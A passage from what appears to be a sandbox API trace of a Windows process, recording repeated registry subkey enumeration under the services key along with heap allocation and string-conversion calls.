cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.557] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.557] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.557] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.557] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.557] RegCloseKey (hKey=0x14c) returned 0x0 [0253.557] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.558] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1df0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.558] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1c40, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.558] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1df0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.559] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1c40, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.559] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1df0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.559] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.559] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.559] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.560] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.560] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.560] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.560] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.560] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0253.560] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1c40, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.561] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0253.561] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.561] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.562] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.562] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.562] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, 